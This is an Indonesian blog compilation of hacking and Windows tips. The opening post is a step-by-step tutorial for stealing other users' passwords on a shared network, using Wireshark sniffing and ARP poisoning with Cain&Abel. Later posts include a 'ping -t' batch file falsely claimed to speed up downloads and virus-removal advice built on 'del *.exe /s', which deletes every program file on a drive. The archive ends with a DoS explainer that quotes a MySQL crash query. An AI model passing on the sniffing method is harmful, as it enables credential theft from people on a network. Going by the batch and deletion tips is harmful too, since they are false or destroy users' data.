Pertama-tama sorry kalo repost karena teknik ini bukanlah teknik yang fresh di dunia hacking tapi teknik ini belum basi karena sampai saat ini masih dapat digunakan karena sebagian besar jaringan meggunakan jaringan hub & switch yang tidak terenkripsi.
Mengapa tidak terenkripsi? * Network Admin sebagian besar adalah orang IT yang specialist dalam membuat program, bukan dalam Network Security
* Bila dienkripsi bandwidth yang dibuthkan akan meningkat dan tentu inet yang sudah lemot ini akan semakin lemot dan akhirnya page error
* Harganya tidak murah untuk memperoleh yang terenkripsi

Perbedaan antara jaringan Hub dan Switch:

* Pada jaringan hub semua data yang mengalir di jaringan dapat dilihat/diambil oleh komputer manapun yang ada di jaringan asalakan komputer tersebut merequest data tersebut, kalo tidak direquest ya tidak akan datang.
* Pada jaringan switch hanya komputer yang melakukan pertukaran data yang dapat melihat data tersebut, komputer2 lain tidak berhak merequest data tersebut.

Masalahnya adalah harga dari router hub dan switch tidak berbeda jauh sehingga kebanyakan tempat sekarang sudah menggunakan metode switch yang menyulitkan untuk network hacking.
Hacking ini menggunakan teknik:

* Sniffing
* ARP Poison Routing

Kedua Teknik di atas tidak akan bisa dicegah oleh firewall apapun di komputer korban, dijamin.

Important Note: ARP Poison Routing dapat meyebabkan denial of service (dos) pada salah satu / semua komputer pada network anda

Kelebihan:

* Tidak akan terdeteksi oleh firewall tipe dan seri apapun karena kelemahannya terletak pada sistem jaringan bukan pada komputernya
* Bisa mencuri semua jenis login password yang melalui server HTTP
* Bisa mencuri semua login password orang yang ada di jaringan Hub selama program diaktifkan
* Untuk ARP Poisoning bisa digunakan untuk mencuri password di HTTPS
* Semua programnya free

Kekurangan:

* Untuk jaringan Switch harus di ARP poisoning 1 persatu dan bandwidth anda akan termakan banyak untuk hal itu (kalo inet super cepat ga masalah)
* Ketahuan / tidak oleh admin jaringan di luar tanggung jawab saya

Mulai dari sini anggap bahwa di network dalam kisah ini ada 3 komputer, yaitu:

* Komputer Korban
* Komputer Hacker
* Server

Perbedaan-perbedaan antara jaringan switch dan jaringan hub:
Langkah-langkah pertama:

1. Cek tipe jaringan anda, anda ada di jaringan switch / hub. Jika anda berada di jaringan hub bersyukurlah karena proses hacking anda akan jauh lebih mudah.
2. Download program-program yang dibutuhkan yaitu Wireshark dan Cain&Abel.
Code:

http://www.wireshark.org/download.html
http://www.oxid.it/cain.html



Cara Menggunakan WireShark:

* Jalankan program wireshark
* Tekan tombol Ctrl+k (klik capture lalu option)
* Pastikan isi pada Interfacenya adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan pastikan pula bahwa “Capture packets in promiscuous mode” on
* Klik tombol start
* Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selama anda menekan tombol start
* Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada komputer anda saja jika network anda menggunakan Swtich
* Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (saya tidak akan menjelaskan caranya karena saya tidak bisa )
* Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan korban ke website dan sebaliknya

Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.

Cara Menggunakan Cain&Abel:

* Penggunaan program ini jauh lebih mudah dan simple daripada menggunakan wireshark, tetapi bila anda menginginkan semua packet yang sudah keluar dan masuk disarankan anda menggunakan program wireshark
* Buka program Cain anda
* Klik pada bagian configure
* Pada bagian “Sniffer” pilih ethernet card yang akan anda gunakan
* Pada bagian “HTTP Fields” anda harus menambahkan username fields dan password fields nya apabila yang anda inginkan tidak ada di daftar.
Sebagai contoh saya akan beritahukan bahwa kalo anda mau hack password Friendster anda harus menambahkan di username fields dan passworsd fields kata name, untuk yang lain anda bisa mencarinya dengan menekan klik kanan view source dan anda harus mencari variabel input dari login dan password website tersebut. Yang sudah ada di defaultnya rasanyan sudah cukup lengkap, anda dapat mencuri pass yang ada di klubmentari tanpa menambah apapun.
* Setelah itu apply settingannya dan klik ok
* Di menu utama terdapat 8 tab, dan yang akan dibahas hanya 1 tab yaitu tab “Sniffer” karena itu pilih lah tab tersebut dan jangan pindah2 dari tab tersebut untuk mencegah kebingungan anda sendiri
* Aktifkan Sniffer dengan cara klik tombol sniffer yang ada di atas tab2 tersebut, carilah tombol yang tulisannya “Start/Stop Sniffer”
* Bila anda ada di jaringan hub saat ini anda sudah bisa mengetahui password yang masuk dengan cara klik tab (Kali ini tab yang ada di bawah bukan yang di tengah, yang ditengah sudah tidak usah diklik-klik lagi) “Passwords”
* Anda tinggal memilih password dari koneksi mana yang ingin anda lihat akan sudah terdaftar di sana
* Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih, anda harus mengaktifkan APR yang tombolonya ada di sebelah kanan Sniffer (Dan ini tidak dijamin berhasil karena manage dari switch jauh lebih lengkap&secure dari hub)
* Sebelum diaktifkan pada tab sniffer yang bagian bawah pilih APR
* Akan terlihat 2 buah list yang masih kosong, klik list kosong bagian atas kemudian klik tombol “+” (Bentuknya seperti itu) yang ada di jajaran tombol sniffer APR dll
* Akan ada 2 buah field yang berisi semua host yang ada di jaringan anda
* Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
* Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama.

Anda dapat menjalankan kedua program di atas secara bersamaan (Cain untuk APR dan wireshark untuk packet sniffing) bila ingin hasil yang lebih maksimal.

Password yang bisa anda curi adalah password yang ada di server HTTP (server yang tidak terenkripsi), bila data tersebut ada di server yang terenkripsi maka anda harus mendekripsi data tersebut sebelum memperoleh passwordnya (dan itu akan membutuhkan langkah2 yang jauh lebih panjang dari cara hack ini)

Untuk istilah-istilah yang tidak ngerti bisa dicari di wikipedia (tapi yang inggris ya kalo yang indo jg belum tentu ada).

Jumat, 17 Juni 2011

hhee...update lagi nie....
langsung ajja nyokk..kaya'a hampir setiap kita download pasti ujung"a berakhir ma ziddu atau 4shared....
nie w kasih trik cara buat ningkatin kecepatan saat kita download dari 4shared...
w juga bleh ngebajak sihhh...hheee
jadi sesama pembajak wajib memberi tahu....
hheeee....
Caranya sebagai berikut:

1. Buka Notepad.
2. Ketik kalimat dibawah. Ganti angka 000.000.0.000 dengan alamat IP anda

@ping -t 000.000.0.000
@pause


Misal alamat IP anda adalah 198.162.1.120, maka bentuknya menjadi

@ping -t 198.162.1.120
@pause

3. Simpan file Notepad tersebut dengan nama yang mudah anda ingat pada desktop atau lokasi pada hardisk atau flash disk.

4. Setelah tersimpan, buka lokasi penyimpanan file Notepad tersebut. Klik 1 x pada file dan
tekan F2 untuk menamai ulang.

Ket. Menamai ulang disini maksudnya bukan menamai ulang filenya, tapi mengganti format file tersebut dari .txt mejadi .bat

Contoh: misalnya anda menyimpan file notepad tersebut dengan nama: amin.txt maka anda tinggal mengganti kalimat .txt menjadi .bat sehingga nama filenya menjadi amin.bat
Kemudian tekan Enter, jika muncul konfirmasi klik saja OK.

5. Ketika anda mulai mendownload sesuatu, klik 2x file amin.bat tersebut.
Setelah itu komputer akan melakukan ping ke alamat IP dan anda akan tetap terhubung pada internet dengan kecepatan tinggi yang diperbolehkan oleh penyedia layanan internet anda atau situs tempat anda men-download file.

Tambahan:
Untuk mengetahui alamat IP anda, klik start-->run-->ketik cmd.exe-->ketik ipconfig/all pada menu dos prompt yang muncul. Bagi anda yang penyedia layanan internet-nya menyediakan IP dinamis, anda tinggal membuat beberapa file .bat berisi alamat IP yang pernah anda gunakan.

Trik diatas adalah legal, gratis dan dapat dilakukan semua orang. Selamat mencoba.........heheheh

Kamis, 16 Juni 2011

sedikit maenan buat belajar command prompt nie....
lumayan buat pelajaran ...
hhehheee

nie langsung ajja code"a....
bajak mank....


ADDUSERS - Memasukkan/ menambah user ke/dari file CSV.
ARP - Address Resolution Protocol
ASSOC Change - file extension associations
ASSOCIAT - One step file association
AT Schedule - Perintah untuk membuat shedule program (utk dijalankan kemudian waktu)
ATTRIB - Mengganti atribut file
BOOTCFG - Edit boot setting windows
BROWSTAT - Mencari info domain,browser dan PDC
CACLS - Mengganti/mengubah file permissions
CALL - Memanggil sebuah program batch
CD - Memindahkan ke sebuah folder tertentu.
CHANGE - Mengubah Properties pada Terminal Server
CHKDSK - Memeriksa dan memperbaiki file system
CHKNTFS - Memeriksa NTFS file system
CHOICE - Menerima input keyboard ke dalam sebuah batch file
CIPHER - Encrypt-Decrypt files/folders
CleanMgr - Membersihkan secara otomatis Temporary files, recycle bin
CLEARMEM - Membersihkan memory
CLIP - meng-Copy STDIN ke Windows clipboard.
CLS - Membersihkan layar CMD
CLUSTER - Windows Clustering
CMD - Membuka layar CMD/ command prompt
COLOR - Mengganti warna pada window CMD
COMP - Membandingkan isi dari 2 atau lebih file
COMPACT - kompres file/folder di dalam partisi NTFS
COMPRESS - kompres file individu di dalam partisi NTFS
CON2PRT - Connect atau disconnect sebuah Printer
CONVERT - Convert FAT drive menjadi NTFS.
COPY - Copy 1 atau lebih file ke lokasi tertentu
CSVDE - Import/Export Active Directory data
DATE - Menampilkan/mengatur tanggal
Dcomcnfg - DCOM Configuration Utility
DEFRAG - Defragment hard drive
DEL - Menghapus 1 atau lebih file
DELPROF - Menghapus User Profile NT
DELTREE - Menghapus sebuah folder beserta subfolder
DevCon - Device Manager Command Line Utility
DIR - Menampilkan daftar file/folder dari sebuah drive
DIRUSE - Menampilkan disk usage/kapasitas disk
DISKCOMP - Membandingkan isi dari 2 buah floppy disk
DISKCOPY - Copy isi dari sebuah floppy disk ke floppy disk lainnya
DNSSTAT - DNS Statistics
DOSKEY - Mengedit command line,recall commands,dan create macros
DSADD - Menambah user (computer, group..) ke dalam active directory
DSQUERY - Menambah item ke dalam active directory
DSMOD - Modify user (computer, group..) di dalam active directory
ECHO - Menampilkan message pada monitor
ERASE - Menghapus satu atau lebih file
EXIT - keluar dari window CMD
EXPAND - Uncompress file
EXTRACT - Uncompress CAB files
FC - Membandingkan 2 buah file
FDISK - Disk Format dan partition
FIND - Mencari sebuah text string di dalam sebuah file
FINDSTR - Mencari strings di dalam files
FOR /F -Loop command: untuk beberapa files sekaligus
FOR - Loop command: all options Files, Directory, List
FORFILES - Batch process multiple files
FORMAT - Memformat sebuah disk
FREEDISK - Menampilkan free disk space (dalam bytes)
FSUTIL - File and Volume utilities
FTP - File Transfer Protocol
FTYPE - Menampilkan/mengubah file types yg digunakan dalam file extension
GLOBAL - Menampilkan daftar anggota dalam global groups
GOTO - Mengarahkan sebuah program batch untuk melompat ke labelled line
HELP - Online Help
HFNETCHK - Network Security Hotfix Checker
IF - Conditionally perform a command (perintah bersyarat)
IPCONFIG - Configure IP
KILL - Menghapus program dari memory
LABEL - Memberi/mengubah label disk
LOCAL - Menampilkan daftar anggota local groups
LOGEVENT - Menulis text ke dalam NT event viewer.
LOGOFF - Keluar dari system / Mengeluarkan user dari system
LOGTIME - mencatat tanggal dan waktu dalam sebuah file
MAPISEND - Mengirim e-mail dari command line
MEM - Menampilkan memory usage
MD - Create new folders
MODE - Configure a system device
MOUNTVOL - Mengatur Mount point dalam sebuah volume
MOVE - Memindahkan file dari sebuah folder ke folder lain
MOVEUSER - Menindahkan user dari sebuah domain ke domain lain
MSG - Mengirim message
MSIEXEC - Microsoft Windows Installer
MSINFO - Windows NT diagnostics
MSTSC - Terminal Server Connection (Remote Desktop Protocol)
MUNGE - Mencari dan Menganti text di dalam sebuah file (find & replace)
MV - Meng-copy file yang sedang/sementara digunakan
NET - Mengatur network resources
NETDOM - Domain Manager
NETSH - Configure network protocols
NETSVC - Command-line Service Controller
NBTSTAT - Menampilkan networking statistics (NetBIOS over TCP/IP)
NETSTAT - Menampilkan networking statistics (TCP/IP)
NOW - Menampilkan current Date and Time
NSLOOKUP - Name server lookup
NTBACKUP - Backup folders
NTRIGHTS - Edit user account rights (wilayah akses yg diizinkan oleh admin)
PATH - Menampilkan atau mengatur search path untuk executable files
PATHPING - Melacak route plus network latency dan packet loss
PAUSE - Menahan proses sebuah batch file and menampilkan message
PERMS - Menampilkan permissions (wilayah akses) user
PERFMON - Performance Monitor
PING - Menguji (test) network connection
POPD - Restore previous value dari sebuah directory yang di-save oleh PUSHD
PORTQRY - Menampilkan status ports dan service
PRINT - Print text file
PRNCNFG - Menampilkan, mengatur, atau mengubah nama printer
PRNMNGR - Menampilkan, menghapus, atau menambah daftar printer; set default printer
PROMPT - Mengubah command prompt
PsExec - Menjalankan proses jarak jauh (remote)
PsFile - Menunjukkan file2 yang dibuka dari jarak jauh
PsGetSid - Menampilkan SID sebuah computer atau user
PsInfo - Menampilkan informasi dari sebuah system
PsKill - Menghentikan proses melalui process ID
PsList - Menampilkan detail informasi dari sebuah proses
PsLoggedOn - Who's logged on (mengecek secara lokal atau melalui resource sharing)
PsLogList - Event log records
PsPasswd - Mengubah account password
PsService - Menampilkan dan mengubah services
PsShutdown - Shutdown atau reboot computer
PsSuspend - Suspend/menahan proces
PUSHD - Menyimpan/Save dan mengganti current directory
QGREP - Mencari kata/kalimat di dalam file yg sesuai dgn pola/line yg ditentukan.
RASDIAL - Mengatur RAS connections
RASPHONE - Mengatur RAS connections
RECOVER - Memulihkan/Recover damaged file dari sebuah disk defective (rusak).
REG - Membaca, mengatur, atau menghapus registry keys dan values
REGEDIT - Mengimport/mengeksport registry settings
REGSVR32 - Register/unregister file DLL atau ocx
REGINI - Mengubah Registry Permissions
REM - Merekam/mencatat comments (remarks) di dalam sebuah batch file
REN - mengubah nama file
REPLACE - Mengganti/Replace atau meng-update sebuah file dengan file line
RD - Delete folder
RDISK - Create Recovery Disk
RMTSHARE - Share folder atau printer
ROUTE - Memanipulasi network routing tables
RUNAS - Menjalankan sebuah program dgn menggunakan user account lain.
RUNDLL32 - Menjalankan sebuah DLL command (add/remove print connections)
SC - Service Control
SCHTASKS - Create or Edit Scheduled Tasks
SCLIST - Display NT Services
ScriptIt - Control GUI applications
SET - Display, set, atau remove environment variables
SETX - Set environment variables secara permanent
SHARE - Mendaftar atau edit sebuah file share atau print share
SHORTCUT - Create windows shortcut (.LNK file)
SHOWGRPS - Menampilkan daftar NT Workgroups atau user yang telah joined
SHOWMBRS - Menampilkan daftar Users yg merupakan member dari sebuah Workgroup
SHUTDOWN - Shutdown computer
SLEEP - Menunggu selama beberapa saat
SOON - Menjadwal(schedule) sebuah command untuk beberapa waktu kemudian
SORT - Sort input
START - membuka sebuah window baru, untuk menjalankan program atau command tertentu
SU - Switch User
SUBINACL - Edit file & folder Permissions, Ownership serta Domain
SUBST - Menyesuaikan sebuah path dengan drive letter
SYSTEMINFO - Menampilkan daftar system configuration
TASKLIST - Menampilkan daftar aplikasi dan service yang sedang berjalan
TIME - Menampilkan atau mengubah waktu pada system
TIMEOUT - Delay processing sebuah batch file
TITLE - Menentukan judul window untuk sebuah session CMD.EXE
TOUCH - mengubah timestamps sebuah file
TRACERT - Melacak route ke sebuah remote host
TREE - Tampilan grafis dari struktur folder
TYPE - Menampilkan isi dari sebuah text file
USRSTAT - Menampilkan daftar domain usernames dan last login
VER - Menampilkan version information
VERIFY - Memeriksa apakah files telah ter-save
VOL - Menampilkan disk label
WHERE - Mencari dan menampilkan files di dalam sebuah directory tree
WHOAMI - Menampilkan current UserName dan current domain
WINDIFF - Membandingkan isi dari dua atau lebih file.
WINMSD - Windows system diagnostics
WINMSDP - Windows system diagnostics II
WMIC - WMI Commands
XCACLS - Mengubah file permissions (hak akses)
XCOPY - Copy files dan folders

Kamis, 26 Mei 2011

Jika sebelumnya kita telah berkenalan dengan berbagai jenis virus marilah kita mulai menghapus virus-virus tersebut. Kita akan menghapusnya dengan tool standar bawaan Windows dengan sedikit modifikasi yaitu Command Prompt.

Sebelumnya telah dijelaskan beberapa file yang berpotensi atau digunakan oleh virus, diantaranya adalah autorun.inf, *.exe, *.pif, *.scr, *.vbs, *. _desktop.ini, desktop_.ini, Thumbs .db dan thumbs.com. File-file dengan ekstensi tersebutlah yang akan kita hapus manual dengan command prompt.

Bukalah command prompt yang tidak perlu aku jelaskan caranya. Setelah muncul jendelanya, ketikkan drive mana yang akan dituju lalu ditambah tanda titik dua “:” misalnya “D:” kemudian tekan enter. Kalau sudah masuk, kita tinggal masukkan perintahnya. Misalnya ingin menghapus file *.exe yang biasanya ekstensi ini yang paling banyak virus gunakan, ketikkan del *.exe /s kemudian tekan enter. Maka semua file yang berekstensi exe yang ada drive itu akan terhapus. Penambahan perintah”/s” artinya akan melaksanakan perintah hingga ke sub folder yang paling dalam. Tanpa perintah tersebut maka hanya akan berlaku pada folder/darive yang sedang aktif saja.

Sekarang satu jenis file pemicu sudah terhapus. Artinya satu kekhawatiran terhadap virus sudah berkurang. Selanjutnya lakukan penghapusan untuk jenis file yang lain yang sudah disebutkan di atas sehingga semuanya menjadi tuntas.

Biasanya virus sudah memproteksi diri dengan mengatur attributnya sendiri baik itu menjadi readonly, hidden biasa atau hidden secara system. File yang punya attribut readonly tidak bisa dihapus dengan cara di atas. Oleh karena itu perlu dilakukan reset attribut dengan command prompt. Perintahnya yaitu attrib –r –h –s –a /s. Attribut r artinya readonly, h artinya hidden, s artinya system atau orang-orang sering menyebuatnya super hidden sedangkan a artinya file archive atau arsip. Penambahan tanda minus (-) artinya untuk tidak mengaktifkan attibut setelahnya. Begitu pula kalau ingin mengaktifkannya tinggal tambahkan tanda plus (+).

Tentunya tidak efisien kalau setiap komputer terserang virus maka harus mengetikkan satu per satu perintah perintah di atas di command prompt. Jadi, semua perintah tadi sudah aku rangkum dalam sebuah file batch. Namanya ba.bat yang bisa didownload di sini.

Dari namanya, file ini fungsinya membabat seluruh file yang tentunya telah ditentukan sebelumnya. Cara menggunakannya sangat mudah tinggal dieksekusi langsung atau dipanggil lewat command prompt atau menu Run. Tampilannya pun sangat sederhana hanya sebuah jendela kecil dengan beberapa pilihan perintah di dalamnya. Terdapat tiga pilihan utama yaitu babat tuntas, babat cepat dan pilihan keluar. Untuk memilih perintah yang akan dilaksanakan tinggal masukkan angka 1, 2 atau 3 sesuai dengan pilihan lalu tekan enter.

Pilihan babat tuntas digunakan kalau file yang berpotensi terhadap virus banyak terdapat di setiap folder. Sedangkan babat cepat sangat efisien kalau menghadapi virus yang memanfaatkan autorun dan kita yakin benar kalau virus tidak terdapat di dalam folder sehingga tidak perlu lama-lama menunggu.

File ba.bat bukan digunakan hanya untuk drive hardisk tapi ditujukan terutama untuk FD. Setelah FD dicolok jangan dulu membuka Windows Explorer tapi eksekusilah dulu file ba.bat yang sudah disimpan di FD baik menggunkan Command Prompt atau menu Run. Jika ada file yang ada dalam daftar tidak mau terhapus maka patut dicurigai kalau komputer sudah terinfeksi virus.

Inilah tadi cara mengapus atau tepatnya membabat file yang berpotensi terhadap virus. Memang sangat beresiko.
                                        SEMOGA BERMANFAAT,,!!
 Apakah anda punya folder pribadi milik anda yang sangat rahasia di dalam komputer? Hampir setiap orang pasti punya beberapa folder pribadinya yang sangat rahasia, entah itu berisikan tulisan curhatan anda ataupun file-file yang sangat penting yang tidak ingin anda publikasikan ke orang lain. dan pastinya anda mempunyai trik-trik untuk menyembunyikan folder tersebut, bisa dengan software ataupun dengan trik-trik registri yang anda tahu. Sebelumya saya sudah pernah memposting tentang trik menyembunyikan folder dengan memakai teknik redirectdisini dan dengan teknik hidden disini. Namun, bila anda ingin mencoba sesuatu yang baru, cobalah trik ini, trik ini tidak membutuhkan software atau registri ataupun yang sejenisnya.
Mau tahu seperti apa, coba ikuti langkah-langkahnya dibawah ini :

  1. Tentukan folder mana yang ingin anda kunci dan hafalkan dimana lokasi anda menyimpan file tersebut.
    Contoh : saya menyimpan folder yang akan saya kunci berada di folder D: dengan nama "Folder Rahasia"
  2. Kemudian, klik start [Run] atau Ketik tombol Windows+R secara bersamaan.
  3. Lalu, ketikkan cacls "D:\Folder Rahasia" /p everyone:n /e dan klik [OK], jangan lupa untuk memberi tanda kutip pada alamat folder yang ingin dikunci.
  4. Cobalah buka folder yang anda kunci tadi, maka akan muncul pesan seperti gambar ini.
  5. Jika muncul gambar seperi itu maka proses penguncian folder berhasil.
  6. Dan, jika anda ingin mengembalikannya seperti semula atau membuka folder tersebut ganti tulisan yang berwarna merah dengan cacls "D:\Folder Rahasia" /p everyone:f /e
Jadi, pengertiannya seperti ini:
  • cacls "D:\Folder Rahasia" /p everyone:n /e everyone:n untuk mengunci), sedangkan
  • cacls "D:\Folder Rahasia" /p everyone:f /e ( everyone:f untuk membuka)
Banyak sekali aplikasi-aplikasi yang berpotensi membahayakan kinerja sistem komputer kita, tapi biasanya kita hanya pasrah saja dan menyerahkan tugas seperti kepada Antivirus, firewall, dan aplikasi sejenisnya.

Tapi tahukah anda?? kalau nggak semua program berbahaya dapat terdeteksi oleh antivirus, ataupun firewall??? Di komputer saya aja terinstal 3 antivirus, yaitu PCMAV, SMADAV, dan Eset SMART Security 4, selain itu saya juga masih menggunakan Deep Freeze. AL ataupun FBI aja kaya nya susah jebol atau menyelinap masuk komputer saya, (udah kaya di fil-film) Hehehehe

Oke kita lanjutkan kembali, disni saya akan mencoba sedikit memberikan tips tentang cara memblokir aplikasi tertentu dengan cara manual, tanpa bantuan antivirus ataupun program sejenis, tetapi hanya menggunakan registry windows.

Pertama, jalankan Registry Editor
Kalau belum tahu caranya, tekan WIN+R lalu masukan kata regedit di kotak yang disediakan. Kalau nggak tahu juga apa itu WIN+R?? Silakan sobat blogger klik START kemudian klik RUN. Sudah ketemu?? kalau gitu kita lanjuuuuuut, Hehehe



Pada jendela Registry Editor, masuklah ke keyHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer.
Kemudian buat DWORD value baru dengan cara mengklik kanan mouse lalau pilih [New] >[DWORD Value] dan beri nama DisallowRun. Klik 2x data tersebut, kemudian isi value nya dengan nilai 1.



Setelah itu buat Subkey baru bernama DisallowRun sehingga terbentuk key :HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun.
Pada key DisallowRun tersebut anda bisa mendefinisikan nama file aplikasi yang ingin anda blok. Cara nya buat string value baru dengan mengklik kanan mouse (sama seperti tadi) bedanya kita membuat string bukan DWORD. Kemudian beri value string tersebut dengan 1. Untuk memblok aplikasi lain, anda dapat membuat string value baru dengan angka lain secara berurutan, seperti 1,2,3,4 dan seterusnya. Kemudian pada value data isikan dengan nama aplikasi yang ingin anda blok. Misalnya :Photoshop.exe atau regedit.exe
Saran : Setelah selesai, silakan restart komputer Agan.

Selasa, 08 Februari 2011

ada trik buat jadi hacker kelas kakap atau tuna x yee...
cz nie menurut w hack paling kejam dan blum ada penangkalnya..
walaupun cuma pake DOS atau command prompt ajja...

Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com bahkan Facebook sekalipun ...
Apa itu DoS

Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.

Secara umum ada 2 cara melakukan serangan DoS:

1. Mematikan Server
2. Menyibukkan Server
* Tanpa bug/vulnerability
* Meng-exploit bug/vulnerability

DoS dengan Mematikan Server: Kill Them!

Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.

Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.

Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.

Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:

* Ping of Death ( CA-1996-26 )

Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
* MySQL IF Query DoS ( SA25188 )

Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.

* Cisco Global Site Selector DNS Request Denial of Service (SA33429)

Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.

Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.

DoS dengan Menyibukkan Server: Make Them As Busy As Possible!

Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit. Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.

Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.

DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:

* Exploiting vulnerability: Menyerang dengan malicious request/packet
* No vulnerability exploitation: Menyerang dengan normal request/packet

Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.

Make Server Busy by Exploiting Vulnerability

Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.

Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.

Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:

* TCP SYN Flood DoS

Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.

Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
* Apache mod_deflate DoS

Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.

Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.

